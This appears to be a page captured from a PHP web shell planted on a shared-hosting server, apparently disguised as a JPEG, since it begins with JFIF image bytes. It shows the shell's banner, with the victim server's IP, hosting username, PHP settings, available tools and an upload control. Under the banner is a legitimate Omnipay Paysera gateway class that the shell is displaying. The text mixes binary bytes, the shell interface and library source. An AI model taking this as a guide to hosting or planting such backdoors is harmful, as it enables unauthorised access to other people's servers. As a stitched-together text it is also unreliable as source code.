����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.144.17.112 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/ideyshare.name.ng/app/libraries/vendor/povils/omnipay-paysera/src/ |
Upload File : |
<?php /** * This is the part of Povils open-source library. * * @author Povilas Susinskas */ namespace Omnipay\Paysera; use Omnipay\Common\AbstractGateway; use Omnipay\Paysera\Message\AcceptNotificationRequest; use Omnipay\Paysera\Message\PurchaseRequest; /** * Class Gateway * * @package Omnipay\Paysera */ class Gateway extends AbstractGateway { const VERSION = '1.6'; /** * @inheritdoc */ public function getName() { return 'Paysera'; } /** * @return array */ public function getDefaultParameters() { return [ 'testMode' => true, 'version' => self::VERSION, ]; } /** * @return string */ public function getProjectId() { return $this->getParameter('projectId'); } /** * @param string $value * * @return $this */ public function setProjectId($value) { return $this->setParameter('projectId', $value); } /** * @return string */ public function getPassword() { return $this->getParameter('password'); } /** * @param string $value * * @return $this */ public function setPassword($value) { return $this->setParameter('password', $value); } /** * @return string */ public function getVersion() { return $this->getParameter('version'); } /** * @param string $value * * @return $this */ public function setVersion($value) { return $this->setParameter('version', $value); } /** * @param array $parameters * * @return PurchaseRequest */ public function purchase(array $parameters = []) { return $this->createRequest(PurchaseRequest::class, $parameters); } /** * @return PurchaseRequest */ public function acceptNotification() { return $this->createRequest(AcceptNotificationRequest::class, []); } }